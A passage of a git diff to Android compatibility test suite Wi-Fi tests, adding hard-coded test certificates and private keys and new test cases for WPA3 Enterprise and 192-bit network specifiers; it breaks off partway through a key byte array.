+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_SUITE_B_ECDSA_CERT =
+            loadCertificate(CA_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final String CLIENT_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIB9zCCAX4CFDpfSZh3AH07BEfGWuMDa7Ynz6y+MAoGCCqGSM49BAMDMF4xCzAJ\n"
+                    + "BgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQKDAdB\n"
+                    + "bmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4XDTIw\n"
+                    + "MDcyMTAyMjk1MFoXDTMwMDUzMDAyMjk1MFowYjELMAkGA1UEBhMCVVMxCzAJBgNV\n"
+                    + "BAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsM\n"
+                    + "BVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MHYwEAYHKoZIzj0CAQYFK4EE\n"
+                    + "ACIDYgAEhxhVJ7dcSqrto0X+dgRxtd8BWG8cWmPjBji3MIxDLfpcMDoIB84ae1Ew\n"
+                    + "gJn4YUYHrWsUDiVNihv8j7a/Ol1qcIY2ybH7tbezefLmagqA4vXEUXZXoUyL4ZNC\n"
+                    + "DWcdw6LrMAoGCCqGSM49BAMDA2cAMGQCMH4aP73HrriRUJRguiuRic+X4Cqj/7YQ\n"
+                    + "ueJmP87KF92/thhoQ9OrRo8uJITPmNDswwIwP2Q1AZCSL4BI9dYrqu07Ar+pSkXE\n"
+                    + "R7oOqGdZR+d/MvXcFSrbIaLKEoHXmQamIHLe\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
+            loadCertificate(CLIENT_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final byte[] CLIENT_SUITE_B_ECC_KEY_DATA = new byte[]{
+            (byte) 0x30, (byte) 0x81, (byte) 0xb6, (byte) 0x02, (byte) 0x01, (byte) 0x00,
+            (byte) 0x30, (byte) 0x10, (byte) 0x06, (byte) 0x07, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0xce, (byte) 0x3d, (byte) 0x02, (byte) 0x01, (byte) 0x06,
+            (byte) 0x05, (byte) 0x2b, (byte) 0x81, (byte) 0x04, (byte) 0x00, (byte) 0x22,
+            (byte) 0x04, (byte) 0x81, (byte) 0x9e, (byte) 0x30, (byte) 0x81, (byte) 0x9b,
+            (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x04, (byte) 0x30, (byte) 0xea,
+            (byte) 0x6c, (byte) 0x4b, (byte) 0x6d, (byte) 0x43, (byte) 0xf9, (byte) 0x6c,
+            (byte) 0x91, (byte) 0xdc, (byte) 0x2d, (byte) 0x6e, (byte) 0x87, (byte) 0x4f,
+            (byte) 0x0a, (byte) 0x0b, (byte) 0x97, (byte) 0x25, (byte) 0x1c, (byte) 0x79,
+            (byte) 0xa2, (byte) 0x07, (byte) 0xdc, (byte) 0x94, (byte) 0xc2, (byte) 0xee,
+            (byte) 0x64, (byte) 0x51, (byte) 0x6d, (byte) 0x4e, (byte) 0x35, (byte) 0x1c,
+            (byte) 0x22, (byte) 0x2f, (byte) 0xc0, (byte) 0xea, (byte) 0x09, (byte) 0x47,
+            (byte) 0x3e, (byte) 0xb9, (byte) 0xb6, (byte) 0xb8, (byte) 0x83, (byte) 0x9e,
+            (byte) 0xed, (byte) 0x59, (byte) 0xe5, (byte) 0xe7, (byte) 0x0f, (byte) 0xa1,
+            (byte) 0x64, (byte) 0x03, (byte) 0x62, (byte) 0x00, (byte) 0x04, (byte) 0x87,
+            (byte) 0x18, (byte) 0x55, (byte) 0x27, (byte) 0xb7, (byte) 0x5c, (byte) 0x4a,
+            (byte) 0xaa, (byte) 0xed, (byte) 0xa3, (byte) 0x45, (byte) 0xfe, (byte) 0x76,
+            (byte) 0x04, (byte) 0x71, (byte) 0xb5, (byte) 0xdf, (byte) 0x01, (byte) 0x58,
+            (byte) 0x6f, (byte) 0x1c, (byte) 0x5a, (byte) 0x63, (byte) 0xe3, (byte) 0x06,
+            (byte) 0x38, (byte) 0xb7, (byte) 0x30, (byte) 0x8c, (byte) 0x43, (byte) 0x2d,
+            (byte) 0xfa, (byte) 0x5c, (byte) 0x30, (byte) 0x3a, (byte) 0x08, (byte) 0x07,
+            (byte) 0xce, (byte) 0x1a, (byte) 0x7b, (byte) 0x51, (byte) 0x30, (byte) 0x80,
+            (byte) 0x99, (byte) 0xf8, (byte) 0x61, (byte) 0x46, (byte) 0x07, (byte) 0xad,
+            (byte) 0x6b, (byte) 0x14, (byte) 0x0e, (byte) 0x25, (byte) 0x4d, (byte) 0x8a,
+            (byte) 0x1b, (byte) 0xfc, (byte) 0x8f, (byte) 0xb6, (byte) 0xbf, (byte) 0x3a,
+            (byte) 0x5d, (byte) 0x6a, (byte) 0x70, (byte) 0x86, (byte) 0x36, (byte) 0xc9,
+            (byte) 0xb1, (byte) 0xfb, (byte) 0xb5, (byte) 0xb7, (byte) 0xb3, (byte) 0x79,
+            (byte) 0xf2, (byte) 0xe6, (byte) 0x6a, (byte) 0x0a, (byte) 0x80, (byte) 0xe2,
+            (byte) 0xf5, (byte) 0xc4, (byte) 0x51, (byte) 0x76, (byte) 0x57, (byte) 0xa1,
+            (byte) 0x4c, (byte) 0x8b, (byte) 0xe1, (byte) 0x93, (byte) 0x42, (byte) 0x0d,
+            (byte) 0x67, (byte) 0x1d, (byte) 0xc3, (byte) 0xa2, (byte) 0xeb
+    };
+    public static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
+            loadPrivateKey("EC", CLIENT_SUITE_B_ECC_KEY_DATA);
+
+    private static X509Certificate loadCertificate(String blob) {
+        try {
+            final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            InputStream stream = new ByteArrayInputStream(blob.getBytes(StandardCharsets.UTF_8));
+
+            return (X509Certificate) certFactory.generateCertificate(stream);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static PrivateKey loadPrivateKey(String algorithm, byte[] fakeKey) {
+        try {
+            KeyFactory kf = KeyFactory.getInstance(algorithm);
+            return kf.generatePrivate(new PKCS8EncodedKeySpec(fakeKey));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
 
@@ -103,9 +207,9 @@
     public static void setUpClass() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
-        assumeTrue(WifiFeature.isWifiSupported(context));
+        if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         // turn on verbose logging for tests
@@ -143,7 +247,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
@@ -168,9 +272,17 @@
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+
         // turn screen on
         turnScreenOn();
 
+        // Clear any existing app state before each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
+
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
         // Pick the last saved network on the device (assumes that it is in range)
@@ -189,6 +301,11 @@
         if (mNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
         }
+        // Clear any existing app state after each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
         turnScreenOff();
     }
 
@@ -375,6 +492,7 @@
                 mConnectivityManager.requestNetwork(
                         new NetworkRequest.Builder()
                                 .addTransportType(TRANSPORT_WIFI)
+                                .removeCapability(NET_CAPABILITY_INTERNET)
                                 .setNetworkSpecifier(specifier)
                                 .build(),
                         mNetworkCallback);
@@ -428,8 +546,8 @@
             } else {
                 fail("Unsupported security type found in saved networks");
             }
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(false);
+        } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
         } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
             fail("Unsupported security type found in saved networks");
         }
@@ -591,4 +709,45 @@
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
     }
+
+    /**
+     * Tests the builder for WPA3 enterprise networks.
+     * Note: Can't do end to end tests for such networks in CTS environment.
+     */
+    @Test
+    public void testBuilderForWpa3EnterpriseWithStandardApi() {
+        WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setWpa3EnterpriseStandardModeConfig(new WifiEnterpriseConfig())
+                .build();
+        WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
+                .build();
+        assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
+    }
+
+    /**
+     * Tests the builder for WPA3 enterprise networks.
+     * Note: Can't do end to end tests for such networks in CTS environment.
+     */
+    @Test
+    public void testBuilderForWpa3Enterprise192bit() {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+
+        WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                .build();
+        WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                .build();
+        assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 34a36d6..8e21d3e 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -27,16 +27,30 @@
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.platform.test.annotations.AppModeFull;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
 public class WifiNetworkSuggestionTest extends WifiJUnit3TestBase {
     private static final String TEST_SSID = "testSsid";
     private static final String TEST_BSSID = "00:df:aa:bc:12:23";
     private static final String TEST_PASSPHRASE = "testPassword";
+    private static final int TEST_PRIORITY = 5;
+    private static final int TEST_PRIORITY_GROUP = 1;
+    private static final int TEST_SUB_ID = 1;
 
     @Override
     protected void setUp() throws Exception {
@@ -57,6 +71,463 @@
         super.tearDown();
     }
 
+    private static final String CA_SUITE_B_RSA3072_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIEnTCCAwWgAwIBAgIUD87Y8fFLzLr1HQ/64aEnjNq2R/4wDQYJKoZIhvcNAQEM\n"
+                    + "BQAwXjELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAO\n"
+                    + "BgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsMBVdpLUZpMRIwEAYDVQQDDAl1bml0ZXN0\n"
+                    + "Q0EwHhcNMjAwNzIxMDIxNzU0WhcNMzAwNTMwMDIxNzU0WjBeMQswCQYDVQQGEwJV\n"
+                    + "UzELMAkGA1UECAwCQ0ExDDAKBgNVBAcMA01UVjEQMA4GA1UECgwHQW5kcm9pZDEO\n"
+                    + "MAwGA1UECwwFV2ktRmkxEjAQBgNVBAMMCXVuaXRlc3RDQTCCAaIwDQYJKoZIhvcN\n"
+                    + "AQEBBQADggGPADCCAYoCggGBAMtrsT0otlxh0QS079KpRRbU1PQjCihSoltXnrxF\n"
+                    + "sTWZs2weVEeYVyYU5LaauCDDgISCMtjtfbfylMBeYjpWB5hYzYQOiTzo0anWhMyb\n"
+                    + "Ngb7gpMVZuIl6lwMYRyVRKwHWnTo2EUg1ZzW5rGe5fs/KHj6//hoNFm+3Oju0TQd\n"
+                    + "nraQULpoERPF5B7p85Cssk8uNbviBfZXvtCuJ4N6w7PNceOY/9bbwc1mC+pPZmzV\n"
+                    + "SOAg0vvbIQRzChm63C3jBC3xmxSOOZVrKN4zKDG2s8P0oCNGt0NlgRMrgbPRekzg\n"
+                    + "4avkbA0vTuc2AyriTEYkdea/Mt4EpRg9XuOb43U/GJ/d/vQv2/9fsxhXmsZrn8kr\n"
+                    + "Qo5MMHJFUd96GgHmvYSU3Mf/5r8gF626lvqHioGuTAuHUSnr02ri1WUxZ15LDRgY\n"
+                    + "quMjDCFZfucjJPDAdtiHcFSej/4SLJlN39z8oKKNPn3aL9Gv49oAKs9S8tfDVzMk\n"
+                    + "fDLROQFHFuW715GnnMgEAoOpRwIDAQABo1MwUTAdBgNVHQ4EFgQUeVuGmSVN4ARs\n"
+                    + "mesUMWSJ2qWLbxUwHwYDVR0jBBgwFoAUeVuGmSVN4ARsmesUMWSJ2qWLbxUwDwYD\n"
+                    + "VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQwFAAOCAYEAit1Lo/hegZpPuT9dlWZJ\n"
+                    + "bC8JvAf95O8lnn6LFb69pgYOHCLgCIlvYXu9rdBUJgZo+V1MzJJljiO6RxWRfKbQ\n"
+                    + "8WBYkoqR1EqriR3Kn8q/SjIZCdFSaznTyU1wQMveBQ6RJWXSUhYVfE9RjyFTp7B4\n"
+                    + "UyH2uCluR/0T06HQNGfH5XpIYQqCk1Zgng5lmEmheLDPoJpa92lKeQFJMC6eYz9g\n"
+                    + "lF1GHxPxkPfbMJ6ZDp5X6Yopu6Q6uEXhVKM/iQVcgzRkx9rid+xTYl+nOKyK/XfC\n"
+                    + "z8P0/TFIoPTW02DLge5wKagdoCpy1B7HdrAXyUjoH4B8MsUkq3kYPFSjPzScuTtV\n"
+                    + "kUuDw5ipCNeXCRnhbYqRDk6PX5GUu2cmN9jtaH3tbgm3fKNOsd/BO1fLIl7qjXlR\n"
+                    + "27HHbC0JXjNvlm2DLp23v4NTxS7WZGYsxyUj5DZrxBxqCsTXu/01w1BrQKWKh9FM\n"
+                    + "aVrlA8omfVODK2CSuw+KhEMHepRv/AUgsLl4L4+RMoa+\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_SUITE_B_RSA3072_CERT =
+            loadCertificate(CA_SUITE_B_RSA3072_CERT_STRING);
+
+    private static final String CA_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIICTzCCAdSgAwIBAgIUdnLttwNPnQzFufplGOr9bTrGCqMwCgYIKoZIzj0EAwMw\n"
+                    + "XjELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNV\n"
+                    + "BAoMB0FuZHJvaWQxDjAMBgNVBAsMBVdpLUZpMRIwEAYDVQQDDAl1bml0ZXN0Q0Ew\n"
+                    + "HhcNMjAwNzIxMDIyNDA1WhcNMzAwNTMwMDIyNDA1WjBeMQswCQYDVQQGEwJVUzEL\n"
+                    + "MAkGA1UECAwCQ0ExDDAKBgNVBAcMA01UVjEQMA4GA1UECgwHQW5kcm9pZDEOMAwG\n"
+                    + "A1UECwwFV2ktRmkxEjAQBgNVBAMMCXVuaXRlc3RDQTB2MBAGByqGSM49AgEGBSuB\n"
+                    + "BAAiA2IABFmntXwk9icqhDQFUP1xy04WyEpaGW4q6Q+8pujlSl/X3iotPZ++GZfp\n"
+                    + "Mfv3YDHDBl6sELPQ2BEjyPXmpsKjOUdiUe69e88oGEdeqT2xXiQ6uzpTfJD4170i\n"
+                    + "O/TwLrQGKKNTMFEwHQYDVR0OBBYEFCjptsX3g4g5W0L4oEP6N3gfyiZXMB8GA1Ud\n"
+                    + "IwQYMBaAFCjptsX3g4g5W0L4oEP6N3gfyiZXMA8GA1UdEwEB/wQFMAMBAf8wCgYI\n"
+                    + "KoZIzj0EAwMDaQAwZgIxAK61brUYRbLmQKiaEboZgrHtnPAcGo7Yzx3MwHecx3Dm\n"
+                    + "5soIeLVYc8bPYN1pbhXW1gIxALdEe2sh03nBHyQH4adYoZungoCwt8mp/7sJFxou\n"
+                    + "9UnRegyBgGzf74ROWdpZHzh+Pg==\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_SUITE_B_ECDSA_CERT =
+            loadCertificate(CA_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final String CLIENT_SUITE_B_RSA3072_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIERzCCAq8CFDopjyNgaj+c2TN2k06h7okEWpHJMA0GCSqGSIb3DQEBDAUAMF4x\n"
+                    + "CzAJBgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQK\n"
+                    + "DAdBbmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4X\n"
+                    + "DTIwMDcyMTAyMjkxMVoXDTMwMDUzMDAyMjkxMVowYjELMAkGA1UEBhMCVVMxCzAJ\n"
+                    + "BgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNV\n"
+                    + "BAsMBVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MIIBojANBgkqhkiG9w0B\n"
+                    + "AQEFAAOCAY8AMIIBigKCAYEAwSK3C5K5udtCKTnE14e8z2cZvwmB4Xe+a8+7QLud\n"
+                    + "Hooc/lQzClgK4MbVUC0D3FE+U32C78SxKoTaRWtvPmNm+UaFT8KkwyUno/dv+2XD\n"
+                    + "pd/zARQ+3FwAfWopAhEyCVSxwsCa+slQ4juRIMIuUC1Mm0NaptZyM3Tj/ICQEfpk\n"
+                    + "o9qVIbiK6eoJMTkY8EWfAn7RTFdfR1OLuO0mVOjgLW9/+upYv6hZ19nAMAxw4QTJ\n"
+                    + "x7lLwALX7B+tDYNEZHDqYL2zyvQWAj2HClere8QYILxkvktgBg2crEJJe4XbDH7L\n"
+                    + "A3rrXmsiqf1ZbfFFEzK9NFqovL+qGh+zIP+588ShJFO9H/RDnDpiTnAFTWXQdTwg\n"
+                    + "szSS0Vw2PB+JqEABAa9DeMvXT1Oy+NY3ItPHyy63nQZVI2rXANw4NhwS0Z6DF+Qs\n"
+                    + "TNrj+GU7e4SG/EGR8SvldjYfQTWFLg1l/UT1hOOkQZwdsaW1zgKyeuiFB2KdMmbA\n"
+                    + "Sq+Ux1L1KICo0IglwWcB/8nnAgMBAAEwDQYJKoZIhvcNAQEMBQADggGBAMYwJkNw\n"
+                    + "BaCviKFmReDTMwWPRy4AMNViEeqAXgERwDEKwM7efjsaj5gctWfKsxX6UdLzkhgg\n"
+                    + "6S/T6PxVWKzJ6l7SoOuTa6tMQOZp+h3R1mdfEQbw8B5cXBxZ+batzAai6Fiy1FKS\n"
+                    + "/ka3INbcGfYuIYghfTrb4/NJKN06ZaQ1bpPwq0e4gN7800T2nbawvSf7r+8ZLcG3\n"
+                    + "6bGCjRMwDSIipNvOwoj3TG315XC7TccX5difQ4sKOY+d2MkVJ3RiO0Ciw2ZbEW8d\n"
+                    + "1FH5vUQJWnBUfSFznosGzLwH3iWfqlP+27jNE+qB2igEwCRFgVAouURx5ou43xuX\n"
+                    + "qf6JkdI3HTJGLIWxkp7gOeln4dEaYzKjYw+P0VqJvKVqQ0IXiLjHgE0J9p0vgyD6\n"
+                    + "HVVcP7U8RgqrbIjL1QgHU4KBhGi+WSUh/mRplUCNvHgcYdcHi/gHpj/j6ubwqIGV\n"
+                    + "z4iSolAHYTmBWcLyE0NgpzE6ntp+53r2KaUJA99l2iGVzbWTwqPSm0XAVw==\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_RSA3072_CERT =
+            loadCertificate(CLIENT_SUITE_B_RSA3072_CERT_STRING);
+
+    private static final byte[] CLIENT_SUITE_B_RSA3072_KEY_DATA = new byte[]{
+            (byte) 0x30, (byte) 0x82, (byte) 0x06, (byte) 0xfe, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+            (byte) 0x06, (byte) 0xe8, (byte) 0x30, (byte) 0x82, (byte) 0x06, (byte) 0xe4,
+            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x82, (byte) 0x01,
+            (byte) 0x81, (byte) 0x00, (byte) 0xc1, (byte) 0x22, (byte) 0xb7, (byte) 0x0b,
+            (byte) 0x92, (byte) 0xb9, (byte) 0xb9, (byte) 0xdb, (byte) 0x42, (byte) 0x29,
+            (byte) 0x39, (byte) 0xc4, (byte) 0xd7, (byte) 0x87, (byte) 0xbc, (byte) 0xcf,
+            (byte) 0x67, (byte) 0x19, (byte) 0xbf, (byte) 0x09, (byte) 0x81, (byte) 0xe1,
+            (byte) 0x77, (byte) 0xbe, (byte) 0x6b, (byte) 0xcf, (byte) 0xbb, (byte) 0x40,
+            (byte) 0xbb, (byte) 0x9d, (byte) 0x1e, (byte) 0x8a, (byte) 0x1c, (byte) 0xfe,
+            (byte) 0x54, (byte) 0x33, (byte) 0x0a, (byte) 0x58, (byte) 0x0a, (byte) 0xe0,
+            (byte) 0xc6, (byte) 0xd5, (byte) 0x50, (byte) 0x2d, (byte) 0x03, (byte) 0xdc,
+            (byte) 0x51, (byte) 0x3e, (byte) 0x53, (byte) 0x7d, (byte) 0x82, (byte) 0xef,
+            (byte) 0xc4, (byte) 0xb1, (byte) 0x2a, (byte) 0x84, (byte) 0xda, (byte) 0x45,
+            (byte) 0x6b, (byte) 0x6f, (byte) 0x3e, (byte) 0x63, (byte) 0x66, (byte) 0xf9,
+            (byte) 0x46, (byte) 0x85, (byte) 0x4f, (byte) 0xc2, (byte) 0xa4, (byte) 0xc3,
+            (byte) 0x25, (byte) 0x27, (byte) 0xa3, (byte) 0xf7, (byte) 0x6f, (byte) 0xfb,
+            (byte) 0x65, (byte) 0xc3, (byte) 0xa5, (byte) 0xdf, (byte) 0xf3, (byte) 0x01,
+            (byte) 0x14, (byte) 0x3e, (byte) 0xdc, (byte) 0x5c, (byte) 0x00, (byte) 0x7d,
+            (byte) 0x6a, (byte) 0x29, (byte) 0x02, (byte) 0x11, (byte) 0x32, (byte) 0x09,
+            (byte) 0x54, (byte) 0xb1, (byte) 0xc2, (byte) 0xc0, (byte) 0x9a, (byte) 0xfa,
+            (byte) 0xc9, (byte) 0x50, (byte) 0xe2, (byte) 0x3b, (byte) 0x91, (byte) 0x20,
+            (byte) 0xc2, (byte) 0x2e, (byte) 0x50, (byte) 0x2d, (byte) 0x4c, (byte) 0x9b,
+            (byte) 0x43, (byte) 0x5a, (byte) 0xa6, (byte) 0xd6, (byte) 0x72, (byte) 0x33,
+            (byte) 0x74, (byte) 0xe3, (byte) 0xfc, (byte) 0x80, (byte) 0x90, (byte) 0x11,
+            (byte) 0xfa, (byte) 0x64, (byte) 0xa3, (byte) 0xda, (byte) 0x95, (byte) 0x21,
+            (byte) 0xb8, (byte) 0x8a, (byte) 0xe9, (byte) 0xea, (byte) 0x09, (byte) 0x31,
+            (byte) 0x39, (byte) 0x18, (byte) 0xf0, (byte) 0x45, (byte) 0x9f, (byte) 0x02,
+            (byte) 0x7e, (byte) 0xd1, (byte) 0x4c, (byte) 0x57, (byte) 0x5f, (byte) 0x47,
+            (byte) 0x53, (byte) 0x8b, (byte) 0xb8, (byte) 0xed, (byte) 0x26, (byte) 0x54,
+            (byte) 0xe8, (byte) 0xe0, (byte) 0x2d, (byte) 0x6f, (byte) 0x7f, (byte) 0xfa,
+            (byte) 0xea, (byte) 0x58, (byte) 0xbf, (byte) 0xa8, (byte) 0x59, (byte) 0xd7,
+            (byte) 0xd9, (byte) 0xc0, (byte) 0x30, (byte) 0x0c, (byte) 0x70, (byte) 0xe1,
+            (byte) 0x04, (byte) 0xc9, (byte) 0xc7, (byte) 0xb9, (byte) 0x4b, (byte) 0xc0,
+            (byte) 0x02, (byte) 0xd7, (byte) 0xec, (byte) 0x1f, (byte) 0xad, (byte) 0x0d,
+            (byte) 0x83, (byte) 0x44, (byte) 0x64, (byte) 0x70, (byte) 0xea, (byte) 0x60,
+            (byte) 0xbd, (byte) 0xb3, (byte) 0xca, (byte) 0xf4, (byte) 0x16, (byte) 0x02,
+            (byte) 0x3d, (byte) 0x87, (byte) 0x0a, (byte) 0x57, (byte) 0xab, (byte) 0x7b,
+            (byte) 0xc4, (byte) 0x18, (byte) 0x20, (byte) 0xbc, (byte) 0x64, (byte) 0xbe,
+            (byte) 0x4b, (byte) 0x60, (byte) 0x06, (byte) 0x0d, (byte) 0x9c, (byte) 0xac,
+            (byte) 0x42, (byte) 0x49, (byte) 0x7b, (byte) 0x85, (byte) 0xdb, (byte) 0x0c,
+            (byte) 0x7e, (byte) 0xcb, (byte) 0x03, (byte) 0x7a, (byte) 0xeb, (byte) 0x5e,
+            (byte) 0x6b, (byte) 0x22, (byte) 0xa9, (byte) 0xfd, (byte) 0x59, (byte) 0x6d,
+            (byte) 0xf1, (byte) 0x45, (byte) 0x13, (byte) 0x32, (byte) 0xbd, (byte) 0x34,
+            (byte) 0x5a, (byte) 0xa8, (byte) 0xbc, (byte) 0xbf, (byte) 0xaa, (byte) 0x1a,
+            (byte) 0x1f, (byte) 0xb3, (byte) 0x20, (byte) 0xff, (byte) 0xb9, (byte) 0xf3,
+            (byte) 0xc4, (byte) 0xa1, (byte) 0x24, (byte) 0x53, (byte) 0xbd, (byte) 0x1f,
+            (byte) 0xf4, (byte) 0x43, (byte) 0x9c, (byte) 0x3a, (byte) 0x62, (byte) 0x4e,
+            (byte) 0x70, (byte) 0x05, (byte) 0x4d, (byte) 0x65, (byte) 0xd0, (byte) 0x75,
+            (byte) 0x3c, (byte) 0x20, (byte) 0xb3, (byte) 0x34, (byte) 0x92, (byte) 0xd1,
+            (byte) 0x5c, (byte) 0x36, (byte) 0x3c, (byte) 0x1f, (byte) 0x89, (byte) 0xa8,
+            (byte) 0x40, (byte) 0x01, (byte) 0x01, (byte) 0xaf, (byte) 0x43, (byte) 0x78,
+            (byte) 0xcb, (byte) 0xd7, (byte) 0x4f, (byte) 0x53, (byte) 0xb2, (byte) 0xf8,
+            (byte) 0xd6, (byte) 0x37, (byte) 0x22, (byte) 0xd3, (byte) 0xc7, (byte) 0xcb,
+            (byte) 0x2e, (byte) 0xb7, (byte) 0x9d, (byte) 0x06, (byte) 0x55, (byte) 0x23,
+            (byte) 0x6a, (byte) 0xd7, (byte) 0x00, (byte) 0xdc, (byte) 0x38, (byte) 0x36,
+            (byte) 0x1c, (byte) 0x12, (byte) 0xd1, (byte) 0x9e, (byte) 0x83, (byte) 0x17,
+            (byte) 0xe4, (byte) 0x2c, (byte) 0x4c, (byte) 0xda, (byte) 0xe3, (byte) 0xf8,
+            (byte) 0x65, (byte) 0x3b, (byte) 0x7b, (byte) 0x84, (byte) 0x86, (byte) 0xfc,
+            (byte) 0x41, (byte) 0x91, (byte) 0xf1, (byte) 0x2b, (byte) 0xe5, (byte) 0x76,
